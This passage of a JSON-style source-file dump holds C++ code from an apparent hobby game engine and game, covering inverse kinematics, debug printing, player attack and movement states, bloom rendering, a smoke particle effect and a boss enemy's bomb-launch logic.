bend;\n\t\tbstart.setIdentity();\n\t\tbend.setIdentity();\n\t\tbstart.setOrigin(btVector3(oldpos.x, oldpos.y, oldpos.z));\n\t\tbend.setOrigin(btVector3(newpos.x, newpos.y, newpos.z));\n\t\tbool isHit = false;\n\t\tVector3 tarbuf = newpos;\n\n\t\t//ループは5回まで!!\n\t\tfor(int i = 0;i<5;i++)\n\t\t{\n\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), bstart, bend, sr);\n\t\t\tif (sr.isHit)\n\t\t\t{\n\t\t\t\tauto meri = target - sr.hitPos;\n\t\t\t\tfloat rad = sr.hitNormal.Dot(meri);\n\t\t\t\tif (!m_isHit)\n\t\t\t\t{\n\t\t\t\t\ttarget = sr.hitPos + sr.hitNormal * (m_radius + 0.2f);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ttarget = sr.hitPos + sr.hitNormal * (m_radius + 0.2f);\n\t\t\t\t}\n\t\t\t\tauto t2t = (target - tarbuf);\n\t\t\t\tfloat l = t2t.Length();\n\t\t\t\tif (l < 2.0e-5f)\n\t\t\t\t\tbreak;\n\t\t\t\tauto o2t = (target - oldpos);\n\t\t\t\tl = o2t.Length();\n\t\t\t\tif (l < 2.0e-5f)\n\t\t\t\t\treturn;\n\t\t\t\tisHit = true;\n\t\t\t\ttarbuf = target;\n\t\t\t\tbend.setOrigin(btVector3(target.x, target.y, target.z));\n\t\t\t\tsr.dist = FLT_MAX;\n\t\t\t\tsr.isHit = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tm_target = target;\n\n\t\tm_isHit = isHit;\n\n\t\tm_velocity = Vector3::Zero;\n\t\tif (m_isUseRigidBody)\n\t\t\tUpdateRigidBody(m_target);\n\t}\n\n\tvoid IK::Update(const Matrix& worldMat)\n\t{\n\t\tswitch (m_usingIK)\n\t\t{\n\t\tcase enUSE_CCD:\n\t\t\tEXE_CCD(worldMat);\n\t\t\tbreak;\n\t\t}\n\t}\n\tvoid IK::EXE_CCD(const Matrix& worldMat)\n\t{\n\t\t//どこにもヒットしてない、もしくはNextTargetもされてなく、IKモードがFootじゃない場合必ず早期リターン\n\t\t/*if (!(m_isHit or m_isSetOldTarget) and m_ikMode!=IKMode::enMode_Foot)\n\t\t\treturn;*/\n\t\tswitch (m_ikMode)\n\t\t{\n\t\tcase IKMode::enMode_Foot:\n\t\t\tbreak;\n\t\tcase IKMode::enMode_Normal:\n\t\t\t/*if (!(m_isHit or m_isSetNextTarget))\n\t\t\t\treturn;*/\n\t\t\tbreak;\n\t\tcase IKMode::enMode_NoneHit:\n\t\t\tif (!m_isSetNextTarget && m_velocity.Length() <= FLT_EPSILON)\n\t\t\t\treturn;\n\t\t\tbreak;\n\t\t}\n\n\t\tfor (int i = 0; i < 3; i++)\n\t\t{\n\t\t\tauto effmat = GetBoneWorldMatrix(m_skeleton, m_effectorBone, worldMat);\n\t\t\tauto effpos = effmat.GetTransrate();\n\t\t\tauto currentBone = m_skeleton->GetBone(m_effectorBone->GetParentBoneNo());\t\t\t\t\t\t//作業中のボーン\n\t\t\t//auto currentBone = m_effectorBone;\t\t\t\t\t\t//作業中のボーン\n\t\t\twhile (true)\n\t\t\t{\n\t\t\t\tauto currentmat = GetBoneWorldMatrix(m_skeleton, currentBone, worldMat);//作業ボーンの世界行列。\n\n\t\t\t\tauto currentlocal = currentBone->GetLocalMatrix();//作業ボーンのローカル行列。\n\t\t\t\tVector3 lopo, losc;\n\t\t\t\tQuaternion loro;\n\t\t\t\tcurrentlocal.CalcMatrixDecompose(lopo, loro, losc);\n\n\t\t\t\tMatrix inv;\t\t\t\t\t\t\t//カレントボーンの逆行列。\n\t\t\t\tinv.Inverse(currentmat);\n\n\t\t\t\tVector3 localeffpos = effpos;\n\t\t\t\tinv.Apply(localeffpos);\t\t\t\t\t//ワールド座標のエフェクタボーンをカレントボーンのローカル座標にする\n\t\t\t\tVector3 localtarpos = m_target;\n\t\t\t\tinv.Apply(localtarpos);\t\t\t\t\t//ワールド座標のターゲットをカレントボーンのローカル座標にする\n\n\t\t\t\tauto toEffector = localeffpos;\t\t\t//エフェクターからカレントボーンのベクトル\n\t\t\t\tauto toTarget = localtarpos;\t\t\t//ターゲットからカレントボーンのベクトル\n\n\t\t\t\t{\n\t\t\t\t\tQuaternion addrot(toEffector, toTarget);\n\t\t\t\t\t\n\t\t\t\t\tloro.Multiply(addrot, loro);\n\t\t\t\t\t\n\t\t\t\t\tMatrix mfin;\n\t\t\t\t\tmfin.MakeTransform(lopo, losc, loro);\n\t\t\t\t\t\n\t\t\t\t\tcurrentBone->SetLocalMatrix(mfin);\n\t\t\t\t}\n\n\t\t\t\tif (m_endBone == currentBone)\n\t\t\t\t\tbreak;\n\t\t\t\teffmat = GetBoneWorldMatrix(m_skeleton, m_effectorBone, worldMat);\n\t\t\t\teffpos = effmat.GetTransrate();\n\n\t\t\t\tcurrentBone = m_skeleton->GetBone(currentBone->GetParentBoneNo());\n\t\t\t}\n\t\t}\n\t\t\n\t\tm_isSetOldTarget = false;\n\t\tm_isSetNextTarget = false;\n\t\t//UpdateRigidBody(m_target);\n\t}\n\n\tvoid IK::UpdateRigidBody(const Vector3& pos)\n\t{\n\t\tauto body = m_rigidBody.GetBody();\n\t\tbody->setActivationState(DISABLE_DEACTIVATION);\n\t\tauto& bpo = body->getWorldTransform();\n\t\tbpo.setOrigin({ pos.x,pos.y, pos.z });\n\t}\n\n\tvoid IK::SetPos(const Vector3& p)\n\t{\n\t\tm_target = p;\n\t\tm_oldNewTarget = p;\n\t\tm_oldTarget = p;\n\t\t//m_nextTarget = p;\n\t\tm_isSetNextTarget = false;\n\t\t//m_rubTarget = p;\n\t\tif(m_isUseRigidBody)\n\t\t\tUpdateRigidBody(p);\n\t}\n}"
},
{
"alpha_fraction": 0.5713541507720947,
"alphanum_fraction": 0.5885416865348816,
"avg_line_length": 15.704347610473633,
"blob_id": "adc3e3fd84f2ba1d75a2f129c69594162206d8b6",
"content_id": "496c3d260d4148ec711144f642a9981bb159242d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1920,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 115,
"path": "/UsualEngineR/Debug/DebugConsole.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\n\nnamespace UER\n{\n\textern int DebugConsoleUser;\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"USER\"></param>\n\t/// <param name=\"str\"></param>\n\tstatic void DebugPrintLineConsole(int USER, const char* str)\n\t{\n#if DEBUG_FUNC\n\t\tif (DebugConsoleUser & USER)\n\t\t{\n\t\t\tprintf(str);\n\t\t\tprintf(\"\\n\");\n\t\t}\n\n#endif\n\t}\n\n\ttemplate<class E>\n\tstatic void DebugPrintVector2(E user, const Vector2& v)\n\t{\n#if DEBUG_FUNC\n\n\t\tchar st[255] = { 0 };\n\n\t\tsprintf(st, \"x: %f y: %f\", v.x, v.y);\n\t\tDebugPrintLineConsole(TO_INT(user), st);\n\n#endif\n\t}\n\n\ttemplate<class E>\n\tstatic void DebugPrintVector3(E user, const Vector3& v)\n\t{\n#if DEBUG_FUNC\n\n\t\tchar st[255] = { 0 };\n\n\t\tsprintf(st, \"x: %f y: %f z: %f\", v.x, v.y, v.z);\n\t\tDebugPrintLineConsole(TO_INT(user), st);\n\n#endif\n\t}\n\n\ttemplate<class E>\n\tstatic void DebugPrintVector4(E user, const Vector4& v)\n\t{\n#if DEBUG_FUNC\n\n\t\tchar st[255] = { 0 };\n\n\t\tsprintf(st, \"x: %f y: %f z: %f w: %f\", v.x, v.y, v.z, v.w);\n\t\tDebugPrintLineConsole(TO_INT(user), st);\n\n#endif\n\t}\n\n\ttemplate<class E>\n\tstatic void DebugPrintMatrix(E user, const Matrix& v)\n\t{\n#if DEBUG_FUNC\n\n\t\tchar st[255] = { 0 };\n\n\t\tchar c = 'x';\n\t\tfor (int i = 0; i < 4; i++)\n\t\t{\n\t\t\tsprintf(st, \"%cx: %f %cy: %f %cz: %f %cw: %f\", c, v.m[i][0], c, v.m[i][1], c, v.m[i][2], c, v.m[i][3]);\n\t\t\tDebugPrintLineConsole(TO_INT(user), st);\n\t\t\tc += 1;\n\t\t\tif (i == 2)\n\t\t\t{\n\t\t\t\tc = 'w';\n\t\t\t}\n\t\t}\n#endif\n\t}\n\n\ttemplate<class E,class T>\n\tstatic void DebugPrintValue(E user, const char* label, T value)\n\t{\n#if DEBUG_FUNC\n\n\t\tstd::string str = label;\n\t\tstr += \": \";\n\t\tstr += std::to_string(value);\n\t\t\n\t\tDebugPrintLineConsole(TO_INT(user), str.c_str());\n\n#endif\n\t}\n\n\ttemplate<class E, class T>\n\tstatic void DebugPrintBinary(E user, const char* label, T value)\n\t{\n#if DEBUG_FUNC\n\n\t\tstd::string str = label;\n\t\tstr += \": \";\n\t\tchar st[256];\n\t\tsprintf(st, \"%x\", value);\n\t\tstr += st;\n\n\t\tDebugPrintLineConsole(TO_INT(user), str.c_str());\n\n#endif\n\t}\n}"
},
{
"alpha_fraction": 0.6835152506828308,
"alphanum_fraction": 0.6869615316390991,
"avg_line_length": 27.508195877075195,
"blob_id": "29f3d92d864292f2be1f0492af9bfebadf0eb288",
"content_id": "8d9e6db51a78b0a3d34b9c2be3153b2fe66105e2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1867,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 61,
"path": "/Game/Player/Attack/ExplosivePreset/PlayerAttackThrowBomb.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackThrowBomb.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"../Bomb.h\"\n\nPlayerAttackThrowBomb::PlayerAttackThrowBomb() {\n\n}\n\nPlayerAttackThrowBomb::~PlayerAttackThrowBomb() {\n\n}\n\nvoid PlayerAttackThrowBomb::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack throw bomb combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\n\t//NOTE : ここのinterpolateを0.fにしないと、前の投げアニメーションのイベントがいきなり呼ばれる事がある.\n\t//連続で爆弾をなげようとボタンを連打した際にバグる.\n\tplayer->PlayAnimation(Player::EnAnimation::enThrow, 0.f);\n\tthrewFlag = false;\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n\n}\n\nvoid PlayerAttackThrowBomb::Execute(Player* player) {\n\t//TODO : if(!animation.isPlay()) m_timer += deltaTime(); \n\t//m_timer += gameTime()->GetDeltaTime();\n\n\tconst int numEvent = player->GetAnimationMap().at(TO_INT(Player::EnAnimation::enThrow))->GetNumAnimationEvent();\n\tconst auto& animationEvent = player->GetAnimationMap().at(TO_INT(Player::EnAnimation::enThrow))->GetAnimationEvent();\n\n\tfor (int i = 0; i < numEvent; i++) {\n\t\tif (!threwFlag and animationEvent[i].IsInvoked()) {\n\t\t\tauto name = animationEvent[i].GetEventName();\n\t\t\tif (wcscmp(name, L\"throw\") == 0) {\n\t\t\t\tprintf(\"throw\\n\");\n\t\t\t\tauto bomb = NewGO<Bomb>(0);\n\t\t\t\tauto vel = player->GetForward() * m_speed;\n\t\t\t\tbomb->Init(player->GetPosition(), vel);\n\t\t\t\tthrewFlag = true;\n\t\t\t}\n\t\t}\n\t}\n\n\n\tif (!player->IsPlayingAnimation()) {\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n}\n\n\n"
},
{
"alpha_fraction": 0.7341772317886353,
"alphanum_fraction": 0.7436708807945251,
"avg_line_length": 15.179487228393555,
"blob_id": "adf8330c2b156e7a38491365a6d7229ade3781b8",
"content_id": "dcb58970dbe659becf6e6be142b684d3bea62f36",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 632,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 39,
"path": "/Game/Player/Attack/PlayerLongRangeAttack.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass Player;\nclass Projectile;\nclass MuzzleFlash;\n\nclass PlayerLongRangeAttack\n{\npublic:\n\tPlayerLongRangeAttack();\n\t~PlayerLongRangeAttack();\n\n\tvoid Execute(Player* p);\n\tvoid UpdateEffectPos();\n\nprivate:\n\tconst float m_interval = 0.05f;\n\tfloat m_shotIntervalTimer = m_interval;\n\n\tstd::vector<Projectile> m_projectiles;\n\n\tenum class EnMuzzles {\n\t\tUpperRight,\n\t\tUpperLeft,\n\t\tLowerRight,\n\t\tLowerLeft,\n\t\tNumMuzzles\n\t};\n\n\tvoid CalcEffectsTransform();\n\n\tstruct EffectsTransform {\n\t\tVector3 m_posList[4];\n\t\tQuaternion m_rotList[4];\n\t};\n\n\tEffectsTransform m_effectTransforms;\n\n\tstd::vector< MuzzleFlash*> m_muzzleFlashes;\n};\n\n"
},
{
"alpha_fraction": 0.6924265623092651,
"alphanum_fraction": 0.7109737396240234,
"avg_line_length": 19.25,
"blob_id": "b9bcbf06301a35d674d7aa38098e0fe21cefa6b8",
"content_id": "3e3f7c2d0e059a9e022fbd2533389dc94f432ee6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 647,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 32,
"path": "/Game/Player/State/PlayerFallState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include\"IPlayerSstate.h\"\n#include \"../Player.h\"\n\nclass Player;\nclass KeyHelp;\n\n/// <summary>\n/// \n/// </summary>\nclass PlayerFallState :public IPlayerState\n{\npublic:\n\tPlayerFallState();\n\t~PlayerFallState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\n\t//const float m_GRAVITY = -15.f;\n\tconst float m_GRAVITY = -10.f;\n\tVector3 m_velocity = Vector3::Zero;\n\tconst float m_VELOCITY_MAX = 4.f;\n\tVector3 m_velocityGoal = Vector3::Zero;\n\tconst float m_QUICKNESS = 70.f;\n\tconst float m_ENDURANCE_AUTO_CHARGE_AMOUNT = 5.f;\n\n\tKeyHelp* m_keyHelp_brake = nullptr;\n\n};"
},
{
"alpha_fraction": 0.7064414024353027,
"alphanum_fraction": 0.7074973583221436,
"avg_line_length": 15.06779670715332,
"blob_id": "6a16a8139f17f831251beb82dcb7f9d7a5004922",
"content_id": "eb9850a54aa42732f358421000f0fd2c25b41765",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 947,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 59,
"path": "/UsualEngineR/Graphics/PostEffect/Bloom.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"RenderTarget.h\"\n#include \"GaussBlur.h\"\n#include \"TextureCopy.h\"\n\n#include \"LightStreeks.h\"\nnamespace UER\n{\n\tclass PostEffect;\n\tclass Bloom\n\t{\n\tpublic:\n\t\tBloom(){}\n\t\t~Bloom()\n\t\t{\n\t\t\tRelease();\n\t\t}\n\n\t\tvoid Release();\n\n\t\tvoid Init(PostEffect* pe);\n\n\t\tvoid Render(RenderContext& rc);\n\n\t\tvoid CombineRender(RenderContext& rc, RenderTarget* rt);\n\n\t\tvoid SetStreekFrag(bool b)\n\t\t{\n\t\t\tm_isAndStreeks = b;\n\t\t}\n\tprivate:\n\t\tPostEffect* m_postEffect = nullptr;\n\n\t\tconst static int MAX_GAUSS = 5;\n\t\tGaussBlur m_blur[MAX_GAUSS];\n\n\t\tRenderTarget m_luminanceRT;\n\t\tRenderTarget m_combineRT;\n\t\t\n\t\tShader m_vsBloom;\n\t\tShader m_psLuminance;\n\t\tShader m_psCombine;\n\n\t\tRootSignature m_rootSign;\n\t\tPipelineState m_pipeLuminance;\n\t\tPipelineState m_pipeCombine;\n\n\t\tDescriptorHeap m_descLuminance;\n\t\tDescriptorHeap m_descCombine;\n\n\t\tTextureCopy m_copy;\n\t\tTextureCopy m_copy_single;\n\n\t\tLightStreeks m_lightStreeks;\n\n\t\tbool m_isAndStreeks = true;\n\t};\n}"
},
{
"alpha_fraction": 0.6219607591629028,
"alphanum_fraction": 0.6364706158638,
"avg_line_length": 18.473281860351562,
"blob_id": "03ee984fec3cd0ed2a6362698473de540e04f7b8",
"content_id": "1362543fa1dc3ab72ccf0869e4f9f7a5bb92b99e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2550,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 131,
"path": "/Game/Effect/SmokeEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"SmokeEffect.h\"\n\n\nSmokeEffect::SmokeEffect()\n{\n\n}\n\nSmokeEffect::~SmokeEffect()\n{\n\n}\n\nvoid SmokeEffect::Release()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid SmokeEffect::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid SmokeEffect::Awake()\n{\n\n}\n\nbool SmokeEffect::Start()\n{\n\treturn true;\n}\n\n\nvoid SmokeEffect::PreUpdate()\n{\n\n}\n\nvoid SmokeEffect::Update()\n{\n\n}\n\nvoid SmokeEffect::PostUpdate()\n{\n\n}\n\n\n\nvoid SmokeEffect::Init(const Vector4& col, const Vector4& colE, const float lifeSpanParam, const int density, const bool isWorld)\n{\n\tRelease();\n\n\tstruct ParticleData\n\t{\n\t\t//Vector3 pos;\n\t\t//Vector3 dir;\n\t\tfloat lifeTime;\n\t};\n\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_extendDataSize = sizeof(ParticleData);\n\tpid.m_isBillboard = true;\n\tm_isWorld = isWorld;\n\tm_density = density;\n\tm_lifeSpanParam = lifeSpanParam;\n\tm_colS = col;\n\tm_colE = colE;\n\n\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\t{\n\t\t\t{\n\n\t\t\t\tVector3 posv = m_oldPos - pThis->GetWorldMatrix().GetTransrate();\n\t\t\t\tQuaternion rot = pThis->GetWorldMatrix().GetRotate();\n\t\t\t\trot.Inverse(rot);\n\n\t\t\t\tfor (int i = 0; i < m_density; i++)\n\t\t\t\t{\n\t\t\t\t\tVector3 pos(GRandom().Rand() - 0.5, GRandom().Rand() - 0.5, GRandom().Rand() - 0.5);\n\n\t\t\t\t\tpos = posv * ((float)i / ((float)m_density - 1.f) * m_effectScaleInverse);\n\t\t\t\t\tpos.y += (float)i / ((float)m_density - 1.f) * 50.f * deltaTime;\n\t\t\t\t\trot.Apply(pos);\n\n\t\t\t\t\t//pos *= 15.f * 2.f;\n\t\t\t\t\t//pos.y += GRandom().Rand() * 45.;\n\n\t\t\t\t\tParticleData pd;\n\t\t\t\t\t//pd.pos = pos;\n\t\t\t\t\t//pd.dir = pos;\n\t\t\t\t\t//pd.dir.y += 40.f;\n\t\t\t\t\t//pd.dir.Normalize();\n\t\t\t\t\tpd.lifeTime = GRandom().Rand() * m_lifeSpanParam;\n\t\t\t\t\t//pd.lifeTime = lifeSpan;\n\t\t\t\t\t//pd.dir.x = GRandom().Rand() * 80.;\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * (GRandom().Rand() * 4.), g_quatIdentity, m_colS, pd.lifeTime, pd, m_isWorld);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tm_oldPos = pThis->GetWorldMatrix().GetTransrate();\n\t\tm_particleTimer += deltaTime;\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t{\n\t\tParticleData* pd = reinterpret_cast<ParticleData*>(extendData);\n\t\t//float t = data.lifeTime / pd->lifeTime;\n\t\tfloat t = min(data.lifeTime / pd->lifeTime,1.f);\n\t\tdata.particleData.pos.y += m_speed * deltaTime;\n\n\t\tt = (powf(1.f - t * 2.f, 4.f));\n\n\t\tdata.particleData.mulColor.Lerp(t, m_colS, m_colE);\n\t});\n\n\tpid.m_updater = &m_effctUpdater;\n\tm_effect = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect->Init(pid);\n\n\tm_effect->SetGenerateFlag(false);\n}"
},
{
"alpha_fraction": 0.7002477049827576,
"alphanum_fraction": 0.7266721725463867,
"avg_line_length": 23.239999771118164,
"blob_id": "263ae09803ba7e89982da526a5bf77a4c2805607",
"content_id": "c8253b25b7f94da6e28a60917404a6f6a7d62ebd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1211,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 50,
"path": "/Game/Player/State/PlayerGroundState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include\"IPlayerSstate.h\"\n#include \"../Player.h\"\n#include \"Player/Attack/DistantPreset/PlayerAttackHipShot2.h\"\n\nclass Player;\nclass KeyHelp;\n\n/// <summary>\n/// \n/// </summary>\nclass PlayerGroundState :public IPlayerState\n{\npublic:\n\tPlayerGroundState();\n\t~PlayerGroundState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\tconst float m_DefaultAnimSpeed = 1.f;\n\n\tvoid CameraWorldMove(Player*);\n\tvoid TargettingEnemyMove(Player*);\n\n\t//Auto charge\n\tconst float m_BOOST_AUTO_CHARGE_AMOUNT = 300.f / 15.f;\n\tconst float m_ENDURANCE_AUTO_CHARGE_AMOUNT = 300.f / 15.f;\n\n\tconst float m_RUN_COST = 300.f / 5.f;\n\tconst float m_VELOCITY_MAX = 2.f;\n\tconst float m_SIDE_MOVE_VELOCITY_MAX = 1.5f;\n\tconst float m_GRAVITY = -15.f;\n\tfloat m_QUICKNESS = 50.f;\n\tconst float m_RUN_SPEED_PARAM = 1.5f;\n\tconst float m_RUN_BEGIN_COST = 10.f;\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_vecVelocityGoal = Vector3::Zero;\n\n\tbool m_hasEnoughStaminaToRun = true;\n\n\tPlayerAttackHipShot2 m_hipShot;\n\n\tKeyHelp* m_keyHelp_Run = nullptr;\n\tKeyHelp* m_keyHelp_Guard = nullptr;\n\tKeyHelp* m_keyHelp_Dive = nullptr;\n\n\tKeyHelp* m_keyHelp_Target = nullptr;\n};"
},
{
"alpha_fraction": 0.6323278546333313,
"alphanum_fraction": 0.6508252620697021,
"avg_line_length": 19.67058753967285,
"blob_id": "964d83b54ea542b33abb0590892535339df47e60",
"content_id": "c8fe4ca401ee9a6ed55766acb56a71ecd27e8cb0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3514,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 170,
"path": "/Game/Enemy/State/MiddleBombState/BossBombCoroCoroState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombCoroCoroState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\n#include \"Enemy/Equipment/Enemy_CorocoroBomb.h\"\n\nBossBombCoroCoroState::BossBombCoroCoroState()\n{\n}\n\nBossBombCoroCoroState::~BossBombCoroCoroState()\n{\n}\n\nvoid BossBombCoroCoroState::Enter(IEnemy* e)\n{\n\n\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enAttackA));\n\n\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L));\n\tauto bone = ik->GetEffectorBone();\n\tif (!m_cannonBone)\n\t\tm_cannonBone = e->GetModel()->GetModel().GetSkelton()->GetBone(bone->GetParentBoneNo());\n\te->SetAutoRotateFlag(false);\n\n\tm_firstRot = e->GetRotation();\n\tm_timer = 0.f;\n\tm_isLaunch = false;\n\tm_launceNum = 0;\n\n\tm_timeLaunch = 0.f;\n\tm_isLaunchSleep = false;\n}\n\nIEnemyState* BossBombCoroCoroState::Update(IEnemy* e)\n{\n\tm_timer += gameTime()->GetDeltaTime();\n\n\t\n\n\tfloat t = m_timer / m_timeLimit;\n\tt = min(t, 1.f);\n\n\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L));\n\tauto bone = ik->GetEffectorBone();\n\n\tauto& ppos = GameManager::GetInstance().GetPlayer()->GetPosition();\n\tauto& epos = e->GetPosition();\n\n\tauto e2p = ppos - epos;\n\te2p.y = 0.;\n\tfloat e2pLen = e2p.Length();\n\te2p.Normalize();\n\n\tVector3 ikpos = epos;\n\tif (BossBombData::GetInstance().feeling == BossBombData::EnFeel::Normale)\n\t{\n\t\tauto ikpos = ppos;\n\t\tikpos.y = epos.y;\n\t\tikpos -= e2p * 5.f;\n\t\tik->SetNextTarget(ikpos);\n\t}\n\telse\n\t{\n\t\tfloat t = min((m_timer - (m_timeLaunch - m_timeLaunchSpan)) / m_timeLaunchSpan,1.f);\n\t\t\n\t\tQuaternion rot;\n\t\tVector3 e2pDir = e2p;\n\t\tswitch (m_launceNum)\n\t\t{\n\t\tcase 0:\n\t\t\trot.SetRotationDegY(0.f);\n\t\t\trot.Apply(e2pDir);\n\t\t\tikpos += e2pDir * max(e2pLen - 5.f, 5.f);\n\t\t\t\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\trot.SetRotationDegY(5.f);\n\t\t\trot.Apply(e2pDir);\n\t\t\tikpos += e2pDir * max(e2pLen - 5.f, 5.f);\n\t\t\tikpos = Math::Lerp(t, m_oldIKpos, ikpos);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\trot.SetRotationDegY(15.f);\n\t\t\trot.Apply(e2pDir);\n\t\t\tikpos += e2pDir * max(e2pLen - 5.f, 5.f);\n\t\t\tikpos = Math::Lerp(t, m_oldIKpos, ikpos);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tik->SetNextTarget(ikpos);\n\t}\n\t\n\t//Quaternion rot(Vector3::Front, e2p);\n\t{\n\t\tQuaternion rot;\n\t\tauto theta = atan2(e2p.x, e2p.z);\n\t\t//theta = theta * (180.f / Math::PI);\n\t\trot.SetRotationY(theta);\n\t\trot.Slerp(t, m_firstRot, rot);\n\t\te->SetRotation(rot);\n\t}\n\n\t//\n\tif (m_isLaunchSleep)\n\t{\n\t\tif (m_timer >= m_timeLaunch)\n\t\t\tm_isLaunchSleep = false;\n\t\telse\n\t\t\treturn this;\n\t}\n\n\n\tif (e->GetModel()->IsAnimPlaying())\n\t{\n\t\t//if(BossBombData::GetInstance().feeling == BossBombData::EnFeel::Normale)\n\t\t\t\n\t\treturn this;\n\t}\n\n\tif ((m_timer-m_timeAnimEnd) - m_timeEnd >= 0.f && m_isLaunch)\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t\n\n\tif (!m_isLaunch)\n\t{\n\t\tconst auto& mat = bone->GetWorldMatrix();\n\t\tconst auto& pmat = m_cannonBone->GetWorldMatrix();\n\n\t\tVector3 v = Vector3::Up;\n\t\tpmat.GetRotate().Apply(v);\n\t\t//v.y += 0.3;\n\t\tauto bonePos = mat.GetTransrate();\n\n\t\tEnemy_CorocoroBomb* bomb = NewGO<Enemy_CorocoroBomb>(0, true);\n\n\t\tbomb->Init(bonePos, v * 100, 1, 20, 1, 25,1.5f);\n\n\t\tm_launceNum++;\n\t\tif (BossBombData::GetInstance().feeling == BossBombData::EnFeel::Normale)\n\t\t{\n\t\t\tm_timeAnimEnd = m_timer;\n\t\t\tm_isLaunch = true;\n\t\t}\n\t\telse if (m_launceNum >= 3)\n\t\t{\n\t\t\tm_timeAnimEnd = m_timer;\n\t\t\tm_isLaunch = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_timeLaunch = m_timer + m_timeLaunchSpan;\n\t\t\tm_isLaunchSleep = true;\n\n\t\t\tm_oldIKpos = ikpos;\n\t\t}\n\t}\n\treturn this;\n}\n\nvoid BossBombCoroCoroState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombCoroCoroState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6458176374435425,
"alphanum_fraction": 0.6465712189674377,
"avg_line_length": 16.012821197509766,
"blob_id": "6a2eda968831a2622fcd72939d382aa115a70ac3",
"content_id": "bb3ea6a1010d8efea5dcc0eb9be1d5bbbe411e86",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1661,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 78,
"path": "/Game/EndingScene.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
